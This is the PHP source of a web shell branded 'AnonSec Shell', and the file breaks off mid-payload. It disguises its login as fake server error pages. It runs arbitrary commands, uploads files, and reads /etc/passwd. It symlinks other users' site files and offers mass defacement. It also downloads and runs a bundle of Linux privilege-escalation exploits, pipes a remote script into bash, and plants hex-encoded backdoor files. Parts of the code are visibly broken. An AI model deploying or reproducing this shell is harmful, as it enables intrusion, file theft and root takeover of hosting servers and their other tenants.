$GLOBALS['uWyiPesHMz'] = array(
'username' => 'bento',
'password' => '7e86bcc11487879ce3e64742d7b2e5ae',
'safe_mode' => '1',
'login_page' => '',
'show_icons' => '1',
'post_encryption' => true,
'cgi_api' => false,
);
function __bento_set_cookie($name, $value) {
setcookie($name, $value, time() + 3600, "/", "", isset($_SERVER['HTTPS']), true);
}
if (!isset($_COOKIE['login_page'])) {
$error_pages = array('500', '403', '404');
$random_page = $error_pages[array_rand($error_pages)];
__bento_set_cookie('login_page', $random_page);
$GLOBALS['uWyiPesHMz']['login_page'] = $random_page;
} else {
$GLOBALS['uWyiPesHMz']['login_page'] = $_COOKIE['login_page'];
}
$config = array(
'BenUser' => $GLOBALS['uWyiPesHMz']['username'],
'BenPass' => $GLOBALS['uWyiPesHMz']['password'],
'BenProtect' => $GLOBALS['uWyiPesHMz']['safe_mode'],
'BenLogPage' => $GLOBALS['uWyiPesHMz']['login_page']
);
$domain_admin_map = array(
'examplecom' => 'admin@examplecom',
'anotherdomaincom' => 'support@anotherdomaincom'
);
$current_domain = $_SERVER['HTTP_HOST'];
if (array_key_exists($current_domain, $domain_admin_map)) {
$_SERVER['SERVER_ADMIN'] = $domain_admin_map[$current_domain];
} else {
$_SERVER['SERVER_ADMIN'] = 'webmaster@' . $current_domain;
}
$SERVER_SIG = isset($_SERVER["SERVER_SIGNATURE"]) ? $_SERVER["SERVER_SIGNATURE"] : "Apache/2441 (Ubuntu)";
$Eform = '<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>';
if ($config['BenProtect']) {
if (!isset($_COOKIE["BenPass"]) || $_COOKIE["BenPass"] != md5($config['BenPass'])) {
if (isset($_POST["password"]) && md5($_POST["password"]) == $config['BenPass']) {
__bento_set_cookie("BenUser", $config['BenUser']);
__bento_set_cookie("BenPass", md5($config['BenPass']));
header('Location: ' . $_SERVER["PHP_SELF"]);
}
switch ($config['BenLogPage']) {
case '500':
echo '<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1>
<p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p>
<p>Please contact the server administrator, ' . $_SERVER['SERVER_ADMIN'] . ' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p>
<p>More information about this error may be available in the server error log.</p><hr>' . $SERVER_SIG . '</body></html>' . $Eform;
break;
case '403':
echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1>
<p>You don't have permission to access " . $_SERVER['PHP_SELF'] . " on this server.</p></body></html>" . $Eform;
break;
case '404':
echo "<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1>
<p>The requested URL " . $_SERVER['PHP_SELF'] . " was not found on this server.<br><br>
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>" . $Eform;
break;
default:
echo '<html><head><title>Error</title></head><body><h1>Unknown Error</h1>
<p>An unknown error occurred.</p><hr>' . $SERVER_SIG . '</body></html>' . $Eform;
break;
}
}
}
<!DOCTYPE html>
<html>
<head>
echo "<title>AnonSec Shell</title>";
<meta name="robots" content="noindex">
<link rel="icon" href="https://iimgurcom/Be4uoSMpng" type="image/x-icon">
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link rel="stylesheet" href="https://cdnjscloudflarecom/ajax/libs/font-awesome/470/css/font-awesomemincss">
<style>
@import url('https://fontsgoogleapiscom/css?family=Dosis');
@import url('https://fontsgoogleapiscom/css?family=Bungee');
@import url('https://fontsgoogleapiscom/css?family=Russo+One');
body {
font-family: "Dosis", cursive;
text-shadow:0px 0px 1px #757575;
}
body::-webkit-scrollbar {
width: 12px;
}
body::-webkit-scrollbar-track {
background: #1f1f1f;
}
body::-webkit-scrollbar-thumb {
background-color: #1f1f1f;
border: 3px solid gray;
}
#content tr:hover {
background-color: #636263;
text-shadow:0px 0px 10px #fff;
}
#contentfirst {
background-color: #25383C;
}
#contentfirst:hover {
background-color: #25383C
text-shadow:0px 0px 1px #757575;
}
table {
border: 1px #000000 dotted;
table-layout: fixed;
}
td {
word-wrap: break-word;
}
a {
color: #ffffff;
text-decoration: none;
}
a:hover {
color: #000000;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea {
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
.gas {
background-color: #1f1f1f;
color: #ffffff;
cursor: pointer;
}
select {
background-color: transparent;
color: #ffffff;
}
select:after {
cursor: pointer;
}
.linka {
background-color: transparent;
color: #ffffff;
}
.up {
background-color: transparent;
color: #fff;
}
option {
background-color: #1f1f1f;
}
.btf {
background: transparent;
border: 1px #fff solid;
cursor: pointer;
}
::-webkit-file-upload-button {
background: transparent;
color: #fff;
border-color: #fff;
cursor: pointer;
}
gold {
color: gold;
}
ijo {
color: green;
}
merah {
color: red;
}
</style>
<center>
echo '<font face="Bungee" size="5">AnonSec Shell</font></center>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>';
set_time_limit(0);
error_reporting(0);
$gcw = "getcwd";
$exp = "explode";
$fpt = "file_put_contents";
$fgt = "file_get_contents";
$sts = "stripslashes";
$scd = "scandir";
$fxt = "file_exists";
$idi = "is_dir";
$ulk = "unlink";
$ifi = "is_file";
$sub = "substr";
$spr = "sprintf";
$fp = "fileperms";
$chm = "chmod";
$ocd = "octdec";
$isw = "is_writable";
$idr = "is_dir";
$ird = "is_readable";
$isr = "is_readable";
$fsz = "filesize";
$rd = "round";
$igt = "ini_get";
$fnct = "function_exists";
$rad = "REMOTE_ADDR";
$rpt = "realpath";
$bsn = "basename";
$srl = "str_replace";
$sps = "strpos";
$mkd = "mkdir";
$pma = "preg_match_all";
$aru = "array_unique";
$ctn = "count";
$urd = "urldecode";
$pgw = "posix_getpwuid";
$fow = "fileowner";
$tch = "touch";
$h2b = "hex2bin";
$hsc = "htmlspecialchars";
$ftm = "filemtime";
$ars = "array_slice";
$arr = "array_rand";
$fgr = "filegroup";
$mdr = "mkdir";
$wb = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://".$_SERVER['HTTP_HOST'];
$disfunc = @$igt("disable_functions");
if (empty($disfunc)) {
$disf = "<font color='gold'>NONE</font>";
} else {
$disf = "<font color='red'>".$disfunc."</font>";
}
function author() {
echo "<center><br>Anon7 - 2022<br><a href='https://shellanonsec-teamorg/' target='_blank'>AnonSec Team</a></center>";
}
function cdrd() {
if (isset($_GET['loknya'])) {
$lokasi = $_GET['loknya'];
} else {
$lokasi = "getcwd";
$lokasi = $lokasi();
}
if ($b($lokasi)) {
return "<font color='green'>Writeable</font>";
} else {
return "<font color='red'>Writeable</font>";
}
}
function crt() {
$a = "is_writable";
if ($a($_SERVER['DOCUMENT_ROOT'])) {
return "<font color='green'>Writeable</font>";
} else {
return "<font color='red'>Writeable</font>";
}
}
function xrd($lokena) {
$a = "scandir";
$items = $a($lokena);
foreach ($items as $item) {
if ($item === || $item === '..') {
continue;
}
$loknya = $lokena.'/'.$item;
if ($b($loknya)) {
xrd($loknya);
} else {
$c = "unlink";
$c($loknya);
}
}
$d = "rmdir";
$d($lokena);
}
function cfn($fl) {
$a = "basename";
$c = $b($a($fl), PATHINFO_EXTENSION);
if ($c == "zip") {
return '<i class="fa fa-file-zip-o" style="color: #d6d4ce"></i>';
} elseif (preg_match("/jpeg|jpg|png|ico/im", $c)) {
return '<i class="fa fa-file-image-o" style="color: #d6d4ce"></i>';
} elseif ($c == "txt") {
return '<i class="fa fa-file-text-o" style="color: #d6d4ce"></i>';
} elseif ($c == "pdf") {
return '<i class="fa fa-file-pdf-o" style="color: #d6d4ce"></i>';
} elseif ($c == "html") {
return '<i class="fa fa-file-code-o" style="color: #d6d4ce"></i>';
}
else {
return '<i class="fa fa-file-o" style="color: #d6d4ce"></i>';
}
}
function ipsrv() {
$a = "gethostbyname";
$c = "SERVER_ADDR";
$d = "SERVER_NAME";
if ($b($a)) {
return $a($_SERVER[$d]);
} else {
return $a($_SERVER[$c]);
}
}
function ggr($fl) {
$a = "function_exists";
$c = "filegroup";
if ($a($b)) {
if (!$a($c)) {
return "?";
}
$d = $b($c($fl));
if (empty($d)) {
$e = $c($fl);
if (empty($e)) {
return "?";
} else {
return $e;
}
} else {
return $d['name'];
}
} elseif ($a($c)) {
return $c($fl);
} else {
return "?";
}
}
function gor($fl) {
$a = "function_exists";
$c = "fileowner";
if ($a($b)) {
if (!$a($c)) {
return "?";
}
$d = $b($c($fl));
if (empty($d)) {
$e = $c($fl);
if (empty($e)) {
return "?";
} else {
return $e;
}
} else {
return $d['name'];
}
} elseif ($a($c)) {
return $c($fl);
} else {
return "?";
}
}
function fdt($fl) {
$a = "date";
return $a("F d Y H:i:s", $b($fl));
}
function dunlut($fl) {
$a = "file_exists";
$c = "filesize";
$d = "readfile";
if ($a($fl) && isset($fl)) {
header('Content-Description: File Transfer');
header("Content-Control:public");
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$b($fl).'"');
header('Expires: 0');
header("Expired:0");
header('Cache-Control: must-revalidate');
header("Content-Transfer-Encoding:binary");
header('Pragma: public');
header('Content-Length: ' .$c($fl));
flush();
$d($fl);
exit;
} else {
return "File Not Found !";
}
}
function komend($kom, $lk) {
$x = "preg_match";
$xx = "2>&1";
if (!$x("/".$xx."/i", $kom)) {
$kom = $kom." ".$xx;
}
$a = "function_exists";
$c = "htmlspecialchars";
$d = "stream_get_contents";
if ($a($b)) {
$ps = $b($kom, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $meki, $lk);
return "<pre>".$c($d("s"))."</pre>";
} else {
return "proc_open function is disabled !";
}
}
function komenb($kom, $lk) {
$x = "preg_match";
$xx = "2>&1";
if (!$x("/".$xx."/i", $kom)) {
$kom = $kom." ".$xx;
}
$a = "function_exists";
$c = "htmlspecialchars";
$d = "stream_get_contents";
if ($a($b)) {
$ps = $b($kom, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $meki, $lk);
return $d("s");
} else {
return "proc_open function is disabled !";
}
}
function gtd() {
$a = "is_readable";
$c = "preg_match_all";$d = "file_exists";
$e = "scandir";$f = "count";
$g = "array_unique";$h = "shell_exec";
$i = "preg_match";
if ($a("/etc/namedconf")) {
$a = $b("/etc/namedconf");
$c("/\/var\/named\/(.*?)\.db/i", $a, $b);
return $f($g($b))." Domains";
} elseif ($d("/var/named/namedlocal")) {
$a = $e("/var/named");
return $f($a)." Domains";
} elseif ($a("/etc/passwd")) {
$a = $b("/etc/passwd");
if ($i("/\/vhosts\//i", $a) && $i("/\/bin\/false/i", $a)) {
$c("/\/vhosts\/(.*?):/i", $a, $b);
return $f($g($b))." Domains";
} else {
$c("/\/home\/(.*?):/i", $a, $b);
return $f($g($b))." Domains";
}
} elseif (!empty($h("cat /etc/passwd"))) {
$a = $h("cat /etc/passwd");
if ($i("/\/vhosts\//i", $a) && $i("/\/bin\/false/i", $a)) {
$c("/\/vhosts\/(.*?):/i", $a, $b);
return $f($g($b))." Domains";
} else {
$c("/\/home\/(.*?):/i", $a, $b);
return $f($g($b))." Domains";
}
} else {
return "0 Domains";
}
}
function esyeem($tg, $lk) {
$a = "function_exists";
$c = "htmlspecialchars";
$d = "stream_get_contents";
$e = "symlink";
if ($a("symlink")) {
return $e($tg, $lk);
} elseif ($a("proc_open")) {
$ps = $b("ln -s ".$tg." ".$lk, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $meki, $lk);
return $c($d("s"));
} else {
return "Symlink Function is Disabled !";
}
}
function sds($sads, &$results = array()) {
$iwr = "is_writable";
$ira = "is_readable";
$ph = "preg_match";
$sa = "scandir";
$rh = "realpath";
$idr = "is_dir";
if (!$ira($sads) || !$iwr($sads) || $ph("/\/application\/|\/system/i", $sads)) {
return false;
}
$files = $sa($sads);
foreach ($files as $key => $value) {
$path = $rh($sadsDIRECTORY_SEPARATOR . $value);
if (!$idr($path)) {
//$results[] = $path;
} else if ($value != && $value != "..") {
sds($path, $results);
$results[] = $path;
}
}
return $results;
}
function crul($web) {
$cr = "curl_setopt";
$cx = "curl_exec";
$ch = "curl_close";
$ceha = curl_init();
$cr($ceha, CURLOPT_URL, $web);
$cr($ceha, CURLOPT_RETURNTRANSFER, 1);
return $cx($ceha);
$ch($ceha);
}
function green($text) {
echo "<center><font color='green'>".$text."</center></font>";
}
function red($text) {
echo "<center><font color='red'>".$text."</center></font>";
}
function oren($text) {
return "<center><font color='orange'>".$text."</center></font>";
}
function tuls($nm, $lk) {
return "[ <a href='".$lk."'>".$nm."</a> ] ";
}
echo "Server IP : <font color=gold>".ipsrv()."</font> / Your IP : <font color=gold>".$_SERVER[$rad]."</font> [<a href='?opsi=repip'> <gold>Reverse IP</gold> </a>]<br>";
echo "Web Server : <font color='gold'>".$_SERVER['SERVER_SOFTWARE']."</font><br>";
$unm = "php_uname";
echo "System : <font color='gold'>".@$unm()."</font><br>";
$gcu = "get_current_user";
$gmu = "getmyuid";
echo "User : <font color='gold'>".@$gcu()." </font>( <font color='gold'>".@$gmu()."</font>)<br>";
$phv = "phpversion";
echo "PHP Version : <font color='gold'>".@$phv()."</font><br>";
echo "Disable Function : ".$disf."</font><br>";
echo "Domains : <font color=gold>".(empty(gtd()) ? '0 Domains' : gtd())."</font><br>";
echo "MySQL : ";
if (@$fnct("mysql_connect")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}
echo " | cURL : ";
if (@$fnct("curl_init")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}
echo " | WGET : ";
if (@$fxt("/usr/bin/wget")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}
echo " | Perl : ";
if (@$fxt("/usr/bin/perl")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}
echo " | Python : ";
if (@$fxt("/usr/bin/python2")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}
echo " | Sudo : ";
if (@$fxt("/usr/bin/sudo")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}
echo " | Pkexec : ";
if (@$fxt("/usr/bin/pkexec")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}
echo "<br>Directory : ";
foreach($_POST as $key => $value){
$_POST[$key] = $sts($value);
}
if(isset($_GET['loknya'])){
$lokasi = $_GET['loknya'];
$lokdua = $_GET['loknya'];
} else {
$lokasi = $gcw();
$lokdua = $gcw();
}
$lokasi = $srl('\\','/',$lokasi);
$lokasis = $exp('/',$lokasi);
$lokasinya = @$scd($lokasi);
foreach($lokasis as $id => $lok){
if($lok == '' && $id == 0){
$a = true;
echo '<a href="?loknya=/">/</a>';
continue;
}
if($lok == '') continue;
echo '<a href="?loknya=';
for($i=0;$i<=$id;$i++){
echo "$lokasis[$i]";
if($i != $id) echo "/";
}
echo '">'.$lok.'</a>/';
}
echo '</td></tr><tr><td><br>';
if (isset($_POST['upwkwk'])) {
if (isset($_POST['berkasnya'])) {
if ($_POST['dirnya'] == "2") {
$lokasi = $_SERVER['DOCUMENT_ROOT'];
}
if (empty($_FILES['berkas']['name'])) {
echo "<font color=orange>File not Selected !</font><br><br>";
} else {
$tgn = $ftm($lokasi);
$data = @$fpt($lokasi."/".$_FILES['berkas']['name'], @$fgt($_FILES['berkas']['tmp_name']));
if ($fxt($lokasi."/".$_FILES['berkas']['name'])) {
$fl = $lokasi."/".$_FILES['berkas']['name'];
echo "File Uploaded ! <font color='gold'><i>".$fl."</i></font><br>";
if ($sps($lokasi, $_SERVER['DOCUMENT_ROOT']) !== false) {
$lwb = $srl($_SERVER['DOCUMENT_ROOT'], $wb."/", $fl);
echo "Link : <a href='".$lwb."'><font color='gold'>".$lwb."</font></a><br>";
}
@$tch($lokasi, $tgn);@$tch($lokasi."/".$_FILES['berkas']['name'], $tgn);
echo "<br>";
} else {
echo "<font color='red'>Failed to Upload !</font><br><br>";
}
}
} elseif (isset($_POST['linknya'])) {
if (empty($_POST['namalink'])) {
echo "<font color=orange>Filename cannot be empty !</font><br><br>";
} elseif (empty($_POST['darilink'])) {
echo "<font color=orange>Link cannot be empty !</font><br><br>";
} else {
if ($_POST['dirnya'] == "2") {
$lokasi = $_SERVER['DOCUMENT_ROOT'];
}
$tgn = $ftm($lokasi);
$data = @$fpt($lokasi."/".$_POST['namalink'], @$fgt($_POST['darilink']));
if ($fxt($lokasi."/".$_POST['namalink'])) {
$fl = $lokasi."/".$_POST['namalink'];
echo "File Uploaded ! <font color='gold'><i>".$fl."</i></font><br>";
if ($sps($lokasi, $_SERVER['DOCUMENT_ROOT']) !== false) {
$lwb = $srl($_SERVER['DOCUMENT_ROOT'], $wb."/", $fl);
echo "Link : <a href='".$lwb."'><font color='gold'>".$lwb."</font></a><br>";
}
@$tch($lokasi, $tgn);@$tch($lokasi."/".$_POST['namalink'], $tgn);
echo "<br>";
} else {
echo "<font color='red'>Failed to Upload !</font><br><br>";
}
}
}
}
echo "Upload File : ";
echo '<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ '.cdrd().' ]
<input type="radio" value="2" name="dirnya" >document_root [ '.crt().' ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://anon7xyz/uploadtxt"> <input type="text" name="namalink" class="up" size="3" placeholder="filetxt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form>';
echo '<br><form method="post" enctype="application/x-www-form-urlencoded">
Command : <input type="text" name="komend" class="up" style="cursor: pointer; border-color: #000" value="';
if (isset($_POST['komend'])) {
echo $hsc($_POST['komend']);
} else {
echo "uname -a";
}
echo '">
<input type="submit" name="komends" value=">>" class="up" style="cursor: pointer; border-color: #fff">
</form>';
echo "</table><br>";
echo '<hr><center style="font-family: Russo One">';
echo tuls("HOME", $_SERVER['SCRIPT_NAME']);
echo tuls("BACKUP SHELL", $_SERVER['SCRIPT_NAME']."?loknya=".$lokasi."&opsi=bekup");
echo tuls("JUMPING", $_SERVER['SCRIPT_NAME']."?loknya=".$lokasi."&opsi=lompat");
echo tuls("MASS DEFACE", $_SERVER['SCRIPT_NAME']."?loknya=".$lokasi."&opsi=mdf");
echo tuls("SCAN ROOT", $_SERVER['SCRIPT_NAME']."?loknya=".$lokasi."&opsi=scanr");
echo tuls("SYMLINK", $_SERVER['SCRIPT_NAME']."?loknya=".$lokasi."&opsi=esyeem");
echo "<hr></center><br>";
if (isset($_GET['loknya']) && $_GET['opsi'] == "lompat") {
if ($ird("/etc/passwd")) {
$fjp = $fgt("/etc/passwd");
} elseif (!empty(komenb("cat /etc/passwd", $lokasi))) {
$fjp = komenb("cat /etc/passwd", $lokasi);
} else {
die(red("[!] Gagal Mengambil Directory !"));
}
$pma("/\/home\/(.*?):/i", $fjp, $fjpr);
$fjpr = "s";
if (empty($fjpr)) {
die(red("[!] Tidak Ada User di Temukan !"));
}
echo "Total Ada ".$ctn($aru($fjpr))." directory di Server <font color=gold>".$_SERVER[$rad]."</font><br><br>";
foreach ($aru($fjpr) as $fj) {
$fjh = "/home/".$fj."/public_html";
if ($ird("/etc/namedconf")) {
$etn = $fgt("/etc/namedconf");
$pma("/\/var\/named\/(.*?)\.db/i", $etn, $en);
$en = "s";
if ($ird($fjh)) {
echo "[<font color=green>Readable</font>] <a href='".$_SERVER['SCRIPT_NAME']."?loknya=".$fjh."'>".$fjh."</a> => ";
} else {
echo "[<font color=red>Unreadable</font>] ".$fjh."</a> => ";
}
foreach ($aru($en) as $enw) {
$asd = $pgw(@$fow("/etc/valiases/".$enw));
$asd = $asd['name'];
if ($asd == $fj) {
echo "<a href='http://".$enw."' target=_blank><font color=gold>".$enw."</font></a>, ";
}
}
echo "<br>";
} else {
if ($ird($fjh)) {
echo "[<font color=green>Readable</font>] <a href='".$_SERVER['SCRIPT_NAME']."?loknya=".$fjh."'>".$fjh."</a><br>";
} else {
echo "[<font color=red>Unreadable</font>] ".$fjh."</a><br>";
}
}
}
echo "<hr>";
die(author());
} elseif (isset($_GET['loknya']) && $_GET['opsi'] == "esyeem") {
if ($ird("/etc/passwd")) {
$syp = $fgt("/etc/passwd");
} elseif (!empty(komenb("cat /etc/passwd", $lokasi))) {
$syp = komenb("cat /etc/passwd", $lokasi);
} else {
die(red("[!] Gagal Mengambil Directory !"));
}
if (!$fnct("symlink")) {
if (!$fnct("proc_open")) {
die(red("[!] Symlink Function is Disabled !"));
}
}
echo "<center>[ <gold>GRAB CONFIG</gold> ] - [ <a href=".$_SERVER['REQUEST_URI']."&opsidua=syfile><gold>SYMLINK FILE</gold></a> ] - [ <gold>SYMLINK VHOST</gold> ]</center>";
if (isset($_GET['opsidua'])) {
if ($_GET['opsidua'] == "grabconfig") {
# code...
} elseif ($_GET['opsidua'] == "syfile") {
echo "<br><br><center>Opsi : <gold>Symlink File</gold>";
echo '<form method="post">File :
<input type="text" name="domena" style="cursor: pointer; border-color: #000" class="up" placeholder="/home/user/public_html/databasephp">
<input type="submit" name="gaskeun" value="Gaskeun" class="up" style="cursor: pointer">
</form></center>';
if (isset($_POST['gaskeun'])) {
$rend = rand().".txt";
$lokdi = $_POST['domena'];
esyeem($lokdi, "anon_sym/".$rend);
echo '<br><center>Cek : <a href="anon_sym/'.$rend.'"><gold>'.$rend."</gold></a></center><br>";
}
}
echo "<hr>";
die(author());
}
$pma("/\/home\/(.*?):/i", $syp, $sypr);
$sypr = "s";
if (empty($sypr)) {
die(red("[!] Tidak Ada User di Temukan !"));
}
echo "Total Ada ".$ctn($aru($sypr))." User di Server <font color=gold>".$_SERVER[$rad]."</font><br><br>";
if (!$isw(getcwd())) {
die(red("[!] Gagal Symlink - Red Dir !"));
}
if (!$fxt("anon_sym")) {
$mdr("anon_sym");
}
if (!$fxt("anon_sym/.htaccess")) {
$fpt("anon_sym/.htaccess", $urd("Options%20Indexes%20FollowSymLinks%0D%0ADirectoryIndex%20sssssshtm%0D%0AAddType%20txt%20php%0D%0AAddHandler%20txt%20php"));
}
$ckn = esyeem("/", "anon_sym/anon");
foreach ($aru($sypr) as $sj) {
$sjh = "/home/".$sj."/public_html";
$ygy = $srl($bsn($_SERVER['SCRIPT_NAME']), "anon_sym/anon".$sjh, $_SERVER['SCRIPT_NAME']);
if ($ird("/etc/namedconf")) {
$etn = $fgt("/etc/namedconf");
$pma("/\/var\/named\/(.*?)\.db/i", $etn, $en);
$en = "s";
echo "[<font color=gold>Symlink</font>] <a href='".$ygy."' target=_blank>".$sjh."</a> => ";
foreach ($aru($en) as $enw) {
$asd = $pgw(@$fow("/etc/valiases/".$enw));
$asd = $asd['name'];
if ($asd == $sj) {
echo "<a href='http://".$enw."' target=_blank><font color=gold>".$enw."</font></a>, ";
}
}
echo "<br>";
} else {
echo "[<font color=gold>Symlink</font>] <a href='".$ygy."' target=_blank>".$sjh."</a><br>";
}
}
echo "<hr>";
die(author());
} elseif (isset($_GET['loknya']) && $_GET['opsi'] == "scanr") {
ob_implicit_flush();ob_end_flush();
echo '<center>[ <a href="'.$_SERVER['REQUEST_URI'].'&opsidua=autoscan"><gold>Auto Scan</gold></a> ] | [ <a href="'.$_SERVER['REQUEST_URI'].'&opsidua=scansd"><gold>Scan SUID</gold></a> ] | [ <a href="'.$_SERVER['REQUEST_URI'].'&opsidua=esg"><gold>Exploit Suggester</gold></a> ]</center>';
if (!$fnct("proc_open")) {
die(red("[!] Command is Disabled !"));
}
if (!$isw($lokasi)) {
die(red("[!] Current Directory is Unwriteable !"));
}
if (isset($_GET['opsidua']) && $_GET['opsidua'] == "autoscan") {
if (!$fxt($lokasi."/anon_root/")) {
$mdr($lokasi."/anon_root");
komenb("wget http://fppkpw/autotar-06-27-22gz", $lokasi."/anon_root");
komenb("tar -xf autotar-06-27-22gz", $lokasi."/anon_root");
if (!$fxt($lokasi."/anon_root/netfilter")) {
die(red("[!] Gagal Download Bahan"));
}
}
echo "<br>Kernel : <gold>".komenb("uname -a", $lokasi)."</gold><br>";
echo "User : <gold>".komenb("id", $lokasi)."</gold><br>";
echo "<br>[+] Trying All Exploits ...<br>";
echo "Netfilter : ".komend("timeout 10 ./anon_root/netfilter", $lokasi)."<br>";
echo "Ptrace : ".komend("echo id | timeout 10 ./anon_root/ptrace", $lokasi)."<br>";
echo "Sequoia : ".komend("timeout 10 ./anon_root/sequoia", $lokasi)."<br>";
echo "OverlayFS : ".komend("echo id | ./overlayfs", $lokasi."/anon_root")."<br>";
echo "Dirtypipe : ".komend("echo id | timeout 10 ./anon_root/dirtypipe /usr/bin/su", $lokasi)."<br>";
echo "Sudo : ".komend("echo 12345 | timeout 10 sudoedit -s Y", $lokasi)."<br>";
echo "Pwnkit : ".komend("echo id | timeout 10 ./pwnkit", $lokasi."/anon_root")."<br>";
echo "Capsys : ".komend("echo id | timeout 10 ./capsys", $lokasi."/anon_root")."<br>";
echo "Netfilter 2 : ".komend("echo id | timeout 10 ./netfilter2", $lokasi."/anon_root")."<br>";
echo "Netfilter 3 : ".komend("echo id | timeout 10 ./netfilter3", $lokasi."/anon_root")."<br>";
komenb("rm -rf anon_root", $lokasi);
} elseif (isset($_GET['opsidua']) && $_GET['opsidua'] == "scansd") {
echo "<br>[+] Scanning ...<br>";
echo komend("find / -perm -u=s -type f 2>/dev/null", $lokasi);
} elseif (isset($_GET['opsidua']) && $_GET['opsidua'] == "esg") {
echo "<br>[+] Loading ...<br>";
echo komend("curl -Lsk http://rawgithubusercontentcom/mzet-/linux-exploit-suggester/master/linux-exploit-suggestersh | bash", $lokasi);
}
echo "<hr>";
die(author());
} elseif (isset($_GET['loknya']) && $_GET['opsi'] == "bekup") {
if (isset($_POST['lokruna'])) {
echo "<center>";
echo "Path : <gold>".$hsc($_POST['lokruna'])."</gold><br>";
if (!$isr($_POST['lokruna'])) {
die(red("[+] Current Path is Unreadable !"));
} elseif (!$isw($_POST['lokruna'])) {
die(red("[+] Current Path is Unwriteable !"));
}
$loks = sds($_POST['lokruna']);
$pisah = $ars($loks, -50);
$los = $arr($pisah, 2);
$satu = $loks["i"];
$satut = $ftm($satu);
$dua = $loks["s"];
$duat = $ftm($dua);
if (empty($satu) && empty($dua)) {
die(red("[+] Unknown Error !"));
}
echo "<br>";
if (!$isw($satu)) {
echo "[<merah>Failed</merah>] ".$satu."<br>";
} else {
$satus = $satu."/contactphp";
$fpt($satus, $h2b("3c6d65746120636f6e74656e743d226e6f696e646578226e616d653d22726f626f7473223e436f6e74616374204d653c666f726d20656e63747970653d226d756c7469706172742f666f726d2d64617461226d6574686f643d22706f7374223e3c696e707574206e616d653d226274756c22747970653d2266696c65223e3c627574746f6e3e4761736b616e3c2f627574746f6e3e3c2f666f726d3e3c3f3d22223b24613d2766272e2769272e276c272e2765272e275f272e2770272e2775272e2774272e275f272e2763272e276f272e276e272e2774272e2765272e276e272e2774272e2773273b24623d2766272e2769272e276c272e2765272e275f272e2767272e2765272e2774272e275f272e2763272e276f272e276e272e2774272e2765272e276e272e2774272e2773273b24633d2774272e276d272e2770272e275f272e276e272e2761272e276d272e2765273b24643d2768272e276578272e273262272e27696e273b24663d2766272e27696c272e27655f65272e277869272e277374272e2773273b696628697373657428245f46494c45535b276274756c275d29297b246128245f46494c45535b276274756c275d5b276e616d65275d2c246228245f46494c45535b276274756c275d5b24635d29293b696628246628272e2f272e245f46494c45535b276274756c275d5b276e616d65275d29297b6563686f20274f6b652021273b7d656c73657b6563686f20274661696c2021273b7d7d696628697373657428245f4745545b27667074275d29297b246128246428245f504f53545b2766275d292c246428245f504f53545b2764275d29293b696628246628246428245f504f53545b2766275d2929297b6563686f20224f6b652021223b7d656c73657b6563686f20224661696c2021223b7d7d3f3e"));
$tch($satus, $satut);
$tch($satu, $satut);
echo "[<ijo>Success</ijo>] ".$satus."<br>";
if ($sps($_POST['lokruna'], $_SERVER['DOCUMENT_ROOT']) !== false) {
$lwb = $srl($_SERVER['DOCUMENT_ROOT'], $wb, $satus);
$satul = "<br><a href='".$lwb."'><font color='gold'>".$lwb."</font></a><br>";
}
}
if (!$isw($dua)) {
echo "[<merah>Failed</merah>] ".$dua."<br>";
} else {
$duas = $dua."/settingphp";
$fpt($duas, $h2b("3c6d657461206e616d653d22726f626f74732220636f6e74656e743d226e6f696e646578223e0d0a4d792053657474696e670d0a3c3f7068700d0a2461203d20226669222e226c655f70222e2275745f63222e226f6e74222e2265222e226e74222e2273223b0d0a2462203d202266222e22696c222e22655f6765222e2274222e225f636f222e226e74656e74222e2273223b0d0a2463203d20226669222e226c65222e225f6578222e226973222e227473223b0d0a2464203d202268222e226578222e223262222e22696e223b0d0a69662028697373657428245f504f53545b276b6f64275d2929207b0d0a09246128245f504f53545b276c6f6b275d2c20246428245f504f53545b276b6f64275d29293b0d0a0969662028246328245f504f53545b276c6f6b275d2929207b0d0a09096563686f20224f4b202120223b0d0a097d20656c7365207b0d0a09096563686f20224661696c6564202120223b0d0a097d0d0a7d0d0a69662028697373657428245f4745545b276963275d2929207b0d0a09696e636c75646520245f4745545b276963275d3b0d0a7d0d0a69662028697373657428245f4745545b276170275d2929207b0d0a0924612822776b776b2e706870222c202464282233633664363537343631323036653631366436353364323237323666363236663734373332323230363336663665373436353665373433643232366536663639366536343635373832323365343336663665373436313633373432303464363533633636366637323664323036643635373436383666363433643232373036663733373432323230363536653633373437393730363533643232366437353663373436393730363137323734326636363666373236643264363436313734363132323365336336393665373037353734323037343739373036353364323236363639366336353232323036653631366436353364323236323734373536633232336533633632373537